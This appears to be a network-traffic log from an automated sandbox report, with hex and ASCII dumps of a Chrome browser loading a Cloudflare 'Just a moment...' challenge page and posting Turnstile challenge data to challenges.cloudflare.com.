2024-04-24 13:43:10 UTC	409	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 54 55 57 6e 70 33 48 75 64 49 51 6d 78 54 38 58 43 51 45 4f 47 36 38 57 32 68 7a 6d 50 53 37 74 69 41 71 4a 70 4d 52 4f 4a 58 4c 4d 41 30 5a 50 73 56 51 58 34 31 32 69 30 4b 38 25 32 42 4d 38 4b 6c 71 55 52 77 6b 79 50 55 71 25 32 46 33 43 43 7a 62 25 32 42 70 34 33 4e 6a 79 43 4a 77 25 32 42 78 66 35 44 53 4f 71 39 4a 5a 6e 37 66 79 75 6a 69 6c 39 38 47 54 6a 53 70 36 74 25 32 42 6d 78 32 34 49 42 41 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TUWnp3HudIQmxT8XCQEOG68W2hzmPS7tiAqJpMROJXLMA0ZPsVQX412i0K8%2BM8KlqURwkyPUq%2F3CCzb%2Bp43NjyCJw%2Bxf5DSOq9JZn7fyujil98GTjSp6t%2Bmx24IBAw%3D%3D"}],"group":"cf-nel","max_age":6048
2024-04-24 13:43:10 UTC	1039	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b Data Ascii: jAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBk
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a Data Ascii: 20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZ
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 Data Ascii: lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(dat
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 Data Ascii: 3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{ma
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 Data Ascii: y4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-tex
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 65 72 Data Ascii: 0rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.footer
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 Data Ascii: heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refres
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 35 5f 49 55 57 32 51 5a 4b 73 66 47 59 56 62 59 75 48 6f 64 43 38 6e 74 48 44 73 63 50 79 6b 35 74 33 4b 4f 68 5f 46 35 4e 49 4d 58 51 58 4a 56 35 42 41 68 73 52 43 58 72 68 58 38 42 59 62 6c 78 71 55 45 47 35 58 45 5f 71 73 44 50 4a 35 4f 6c 61 73 38 5f 56 45 62 6d 77 39 78 57 78 42 7a 52 33 6b 55 55 6f 70 6c 61 73 55 65 71 39 74 6f 72 2e 6a 2e 30 63 2e 34 4c 75 38 54 6c 46 52 50 4a 41 4a 45 48 58 6a 78 74 76 33 31 32 4d 67 6e 6f 38 37 57 50 64 59 36 38 65 72 77 34 52 62 6b 76 79 4a 44 65 6e 73 69 78 38 6a 33 50 45 32 6b 4c 77 43 30 33 30 74 33 74 46 38 6d 44 50 2e 5a 6a 79 4e 36 74 46 38 6f 68 77 68 6b 46 4c 34 4e 71 75 70 75 65 2e 32 6c 6b 53 71 2e 4e 58 67 68 6e 66 34 56 6e 55 4a 2e 4e 51 55 6f 46 38 30 4b 46 35 63 52 36 39 78 62 37 4d 30 57 36 38 74 Data Ascii: 5_IUW2QZKsfGYVbYuHodC8ntHDscPyk5t3KOh_F5NIMXQXJV5BAhsRCXrhX8BYblxqUEG5XE_qsDPJ5Olas8_VEbmw9xWxBzR3kUUoplasUeq9tor.j.0c.4Lu8TlFRPJAJEHXjxtv312Mgno87WPdY68erw4RbkvyJDensix8j3PE2kLwC030t3tF8mDP.ZjyN6tF8ohwhkFL4Nqupue.2lkSq.NXghnf4VnUJ.NQUoF80KF5cR69xb7M0W68t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49759	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:10 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3412 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 16306502cf695e3 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:10 UTC	3412	OUT	Data Raw: 76 5f 38 37 39 36 38 35 34 35 39 63 36 32 36 39 65 33 3d 76 57 43 44 4b 44 41 44 63 44 69 44 71 2d 55 6e 2d 55 61 44 2d 45 30 7a 71 38 2d 32 55 71 55 47 78 45 65 77 5a 55 4c 4e 55 43 5a 32 73 54 51 55 32 5a 71 56 54 32 6b 4e 55 66 44 32 74 69 4d 41 55 4b 65 55 32 77 55 45 44 2d 7a 35 69 73 6a 30 5a 55 52 55 71 7a 54 72 37 25 32 62 56 5a 55 32 2d 44 2d 36 43 55 33 33 5a 45 4f 55 4b 6a 4b 63 5a 2d 44 2b 43 55 79 55 32 24 69 35 47 74 24 45 54 38 54 6c 41 79 6d 6c 51 52 53 5a 54 74 35 72 2d 44 62 78 7a 55 54 4c 63 36 58 2b 51 44 4c 33 54 49 32 61 54 44 2d 77 69 76 67 6b 65 55 55 59 6d 54 48 2d 55 2b 62 55 48 37 4c 4c 2b 55 2d 47 45 68 62 55 43 24 41 43 62 32 55 55 79 31 45 57 55 54 43 55 47 63 62 62 24 5a 62 55 48 75 47 6a 55 71 43 41 55 6b 24 74 63 66 4b 54 Data Ascii: v_879685459c6269e3=vWCDKDADcDiDq-Un-UaD-E0zq8-2UqUGxEewZULNUCZ2sTQU2ZqVT2kNUfD2tiMAUKeU2wUED-z5isj0ZURUqzTr7%2bVZU2-D-6CU33ZEOUKjKcZ-D+CUyU2$i5Gt$ET8TlAymlQRSZTt5r-DbxzUTLc6X+QDL3TI2aTD-wivgkeUUYmTH-U+bUH7LL+U-GEhbUC$ACb2UUy1EWUTCUGcbb$ZbUHuGjUqCAUk$tcfKT
2024-04-24 13:43:10 UTC	758	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:10 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: pKaOl+OXxy+AOjessayXiVilOBScmh16xrrAXdpc5++8N8GbYtG9wKyvMrHWifJ8ZXeXiK37f82rVDKz6jcx2zGH0mm7RUT7IxtBGhUxnJqupyxcjAu8qeFgLvbWLmv/NlGsKj2yOK3Gd7hbEzGdtpqM7XDUUiid0EcLAbm109mTfPiM2VOhOv2GAzKocSC9cmtE7GTksy4nflC/TRGO4W2sDHq1BND7ltp7H2bQ9c5W/X5Cuu1j7WbrDcQMnhjGoitlfkV7+CJ9NMX1wg3nNv7xptTtGZNGty/QrzDkDuhDrCLagjSHi+/QoJnCHTuqieWQEYghf+gbkzj1DASN8PLIeiJaKRjRrGx2lhI13qwz9ne3xaUn9WTkOZpaa7sa+EmeJXrfcbTaJWyFEAso5ByZvGmRZ9X156UUq1zDZNOgOYrhBC2QIA2Yc/JgXdgiOTsDbE0yAiBt7gL+fsLQew==$Tcf2FudmWrlnYDtoqQHAdw== vary: accept-encoding Server: cloudflare CF-RAY: 879685514aaa09f1-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:10 UTC	438	IN	Data Raw: 31 61 66 0d 0a 6d 4a 71 79 76 4a 58 42 66 72 57 56 6e 36 69 36 6f 62 2f 4a 68 70 37 4e 71 36 61 66 6d 70 4c 4a 74 73 53 51 6a 35 65 4d 6b 64 71 56 7a 4a 6d 36 73 5a 36 65 75 4f 43 38 6e 64 4c 71 35 64 54 4c 71 62 6a 42 33 4c 71 77 7a 76 4b 31 38 2b 33 43 74 4f 72 52 36 4d 66 6e 32 76 79 34 77 76 44 69 77 4d 62 30 36 4d 44 72 78 74 63 4a 35 51 62 66 79 4e 48 4f 34 38 7a 57 47 66 6a 69 32 67 6b 50 32 4f 2f 61 36 68 33 35 33 66 7a 64 35 76 34 59 34 68 62 36 43 2b 67 41 37 65 59 74 43 65 6e 75 37 44 49 78 45 76 44 73 42 69 6e 7a 4f 42 73 2b 2b 69 2f 36 46 77 55 7a 52 6a 67 46 4a 30 72 2b 4a 51 74 44 55 42 38 6e 53 53 41 49 56 77 35 56 55 69 70 56 4b 54 4a 55 58 6d 49 76 59 69 77 38 4e 46 59 66 51 55 51 30 52 45 70 41 4b 46 41 36 50 44 46 46 4c 31 46 70 61 58 Data Ascii: 1afmJqyvJXBfrWVn6i6ob/Jhp7Nq6afmpLJtsSQj5eMkdqVzJm6sZ6euOC8ndLq5dTLqbjB3LqwzvK18+3CtOrR6Mfn2vy4wvDiwMb06MDrxtcJ5QbfyNHO48zWGfji2gkP2O/a6h353fzd5v4Y4hb6C+gA7eYtCenu7DIxEvDsBinzOBs++i/6FwUzRjgFJ0r+JQtDUB8nSSAIVw5VUipVKTJUXmIvYiw8NFYfQUQ0REpAKFA6PDFFL1FpaX
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 63 64 39 0d 0a 67 76 4f 33 62 41 63 50 62 31 50 76 6b 36 67 76 4a 34 67 49 4c 44 2b 55 52 45 51 6e 55 42 4f 6e 51 46 67 6b 64 31 42 66 63 45 52 6f 57 42 4f 45 46 47 67 6b 52 48 65 6f 6f 34 74 38 44 2f 42 77 6d 4b 44 48 74 37 4f 67 6d 42 42 50 34 45 67 67 39 39 6a 73 59 49 66 6b 5a 46 44 59 62 42 79 55 66 43 7a 34 2b 4b 44 34 68 55 6b 59 4a 50 54 42 54 44 6b 4e 43 4e 52 4d 63 4b 44 64 59 54 6a 67 55 4e 7a 46 51 57 31 78 57 4d 79 45 72 54 53 67 33 61 6b 59 6e 55 69 70 66 58 6b 30 79 54 58 64 37 66 47 55 38 53 46 78 55 64 6b 46 2b 51 45 39 6e 65 48 39 31 67 48 35 62 69 59 65 48 51 6d 4a 4a 6a 31 4e 73 56 46 4f 55 57 47 32 56 6b 31 74 5a 6d 6e 65 65 66 56 31 35 68 4a 5a 6d 61 4a 61 43 59 70 6d 4d 6e 4b 53 74 6e 57 53 65 6f 59 74 6f 64 36 57 53 75 4a 6c 30 64 Data Ascii: cd9gvO3bAcPb1Pvk6gvJ4gILD+UREQnUBOnQFgkd1BfcERoWBOEFGgkRHeoo4t8D/BwmKDHt7OgmBBP4Egg99jsYIfkZFDYbByUfCz4+KD4hUkYJPTBTDkNCNRMcKDdYTjgUNzFQW1xWMyErTSg3akYnUipfXk0yTXd7fGU8SFxUdkF+QE9neH91gH5biYeHQmJJj1NsVFOUWG2Vk1tZmneefV15hJZmaJaCYpmMnKStnWSeoYtod6WSuJl0d
2024-04-24 13:43:10 UTC	1369	IN	Data Raw: 30 33 66 72 76 41 73 4c 55 30 39 67 4f 37 4f 33 37 42 75 2f 6b 7a 39 37 4e 37 41 34 46 43 50 63 58 47 53 44 32 48 68 30 53 4a 53 49 68 46 68 6b 6d 4a 52 73 48 4b 69 6b 66 2b 69 34 74 49 54 55 79 4d 53 55 70 4e 6a 55 71 46 7a 6f 35 4c 67 73 2b 50 54 41 31 51 6b 45 31 49 30 5a 46 4e 77 6f 36 54 43 38 71 54 55 30 70 53 42 34 4e 44 6b 55 52 45 6a 77 5a 57 56 59 58 4d 69 39 52 47 32 42 61 51 54 73 6d 53 54 38 31 53 55 67 2b 4a 55 4e 69 52 32 30 78 52 31 4e 66 54 31 6c 4f 4d 56 67 31 58 48 52 75 55 46 6f 38 62 7a 32 46 59 59 68 43 53 48 5a 43 56 6e 31 68 54 55 68 50 63 32 4e 77 62 30 31 33 65 46 42 6c 6d 70 56 56 6c 59 68 77 67 47 43 50 65 33 78 6b 6b 34 4f 41 61 4a 5a 70 6d 5a 69 72 63 61 4e 70 69 6e 4e 77 63 6e 52 7a 64 4c 74 75 6c 48 31 39 76 61 71 7a 74 4a Data Ascii: 03frvAsLU09gO7O37Bu/kz97N7A4FCPcXGSD2Hh0SJSIhFhkmJRsHKikf+i4tITUyMSUpNjUqFzo5Lgs+PTA1QkE1I0ZFNwo6TC8qTU0pSB4NDkUREjwZWVYXMi9RG2BaQTsmST81SUg+JUNiR20xR1NfT1lOMVg1XHRuUFo8bz2FYYhCSHZCVn1hTUhPc2Nwb013eFBlmpVVlYhwgGCPe3xkk4OAaJZpmZircaNpinNwcnRzdLtulH19vaqztJ
2024-04-24 13:43:10 UTC	558	IN	Data Raw: 2b 4f 7a 67 78 4e 73 51 37 2b 62 52 39 4f 72 67 39 50 50 70 30 4f 34 46 39 42 41 58 46 52 6f 62 47 74 59 65 34 69 58 69 41 68 62 69 37 50 37 73 43 67 6f 44 49 50 34 46 4c 41 49 35 41 52 45 4d 4f 79 38 32 46 54 2f 33 4f 78 45 6a 4a 52 4d 51 46 45 67 6f 51 45 6b 47 42 51 45 38 4b 43 30 4f 54 77 39 49 45 69 45 30 4d 78 5a 59 4d 44 30 61 58 43 38 68 4f 6c 6c 66 4c 7a 70 42 56 46 39 4c 54 56 6c 4e 4a 6b 74 47 58 55 70 45 62 47 68 52 56 33 63 7a 53 46 51 34 58 6b 31 61 57 58 39 51 65 57 36 43 55 44 2b 49 61 57 64 49 53 46 64 5a 54 6d 4b 51 53 70 4a 55 63 57 57 58 67 70 61 52 54 6f 36 62 58 31 74 64 66 59 74 2f 62 6f 4b 6e 66 36 6c 68 70 59 32 68 70 36 64 73 61 70 47 6e 6b 6f 61 67 68 61 47 75 68 48 4f 4c 6d 49 36 39 64 72 75 2f 67 59 47 35 6d 38 61 55 75 49 6d Data Ascii: +OzgxNsQ7+bR9Org9PPp0O4F9BAXFRobGtYe4iXiAhbi7P7sCgoDIP4FLAI5AREMOy82FT/3OxEjJRMQFEgoQEkGBQE8KC0OTw9IEiE0MxZYMD0aXC8hOllfLzpBVF9LTVlNJktGXUpEbGhRV3czSFQ4Xk1aWX9QeW6CUD+IaWdISFdZTmKQSpJUcWWXgpaRTo6bX1tdfYt/boKnf6lhpY2hp6dsapGnkoaghaGuhHOLmI69dru/gYG5m8aUuIm
2024-04-24 13:43:10 UTC	852	IN	Data Raw: 33 34 64 0d 0a 6f 71 57 6b 6e 59 71 67 68 4b 4f 77 69 4c 64 76 64 36 6d 76 6b 61 2b 4b 67 4b 36 69 6c 48 71 32 6a 36 65 70 67 71 72 4d 78 37 75 46 6f 4b 32 6c 77 35 4c 51 71 4b 6d 6f 30 39 44 46 31 73 69 61 76 4c 36 62 6d 37 79 62 6d 72 6a 53 70 2b 62 69 31 75 58 68 79 36 6a 6a 75 4d 54 4b 78 71 79 6e 30 65 6d 77 71 38 33 70 74 2b 6a 6e 36 72 75 7a 7a 65 36 37 42 66 76 69 77 4d 6e 7a 2b 63 62 34 39 2f 37 49 2f 64 33 2b 7a 4e 58 2b 46 4e 62 50 31 52 72 35 31 76 37 34 32 66 6a 68 38 68 45 65 4a 41 4d 45 2f 43 6e 39 36 50 6b 69 2b 68 7a 75 36 44 41 73 42 51 55 55 4e 50 63 56 42 77 67 73 4b 50 66 32 4b 78 45 6c 47 51 55 6a 48 52 4d 6e 4a 51 51 44 49 53 56 4a 52 54 70 45 4a 45 67 33 4a 54 6c 4b 46 30 39 53 55 55 6f 33 54 54 46 57 4f 79 31 6b 48 43 52 57 58 44 Data Ascii: 34doqWknYqghKOwiLdvd6mvka+KgK6ilHq2j6epgqrMx7uFoK2lw5LQqKmo09DF1siavL6bm7ybmrjSp+bi1uXhy6jjuMTKxqyn0emwq83pt+jn6ruzze67BfviwMnz+cb49/7I/d3+zNX+FNbP1Rr51v742fjh8hEeJAME/Cn96Pki+hzu6DAsBQUUNPcVBwgsKPf2KxElGQUjHRMnJQQDISVJRTpEJEg3JTlKF09SUUo3TTFWOy1kHCRWXD
2024-04-24 13:43:10 UTC	514	IN	Data Raw: 31 66 62 0d 0a 69 62 68 39 52 77 42 37 4f 66 76 48 2b 58 73 38 67 63 48 46 42 50 77 47 78 6b 5a 47 68 4d 32 51 50 34 50 49 53 5a 41 52 6b 6b 2f 50 43 55 61 50 6a 41 61 4f 51 6c 4d 45 79 77 54 55 79 4e 59 56 30 34 54 4a 55 77 64 4e 56 4d 65 4d 6d 52 58 4a 6a 38 6e 56 69 64 68 50 30 63 75 61 53 73 6f 63 31 38 78 50 32 67 7a 62 56 4e 32 65 54 4a 70 4f 56 5a 50 58 32 42 62 54 6c 43 41 65 6d 4b 41 69 45 69 49 65 32 39 62 65 34 5a 49 58 57 31 54 5a 34 70 73 69 6d 56 52 5a 6c 78 79 6c 6d 39 73 62 6e 31 77 65 6d 4e 5a 5a 59 65 4a 5a 6c 35 37 6a 61 4a 77 70 47 6d 75 6e 6f 78 7a 6f 33 57 58 6d 58 4f 78 6c 33 5a 31 6b 37 4b 4f 75 34 43 58 77 71 69 53 66 38 65 39 68 34 65 61 70 4b 2f 50 69 71 54 44 70 64 4f 79 73 38 65 32 72 71 62 50 6d 62 62 57 32 63 32 37 72 72 43 Data Ascii: 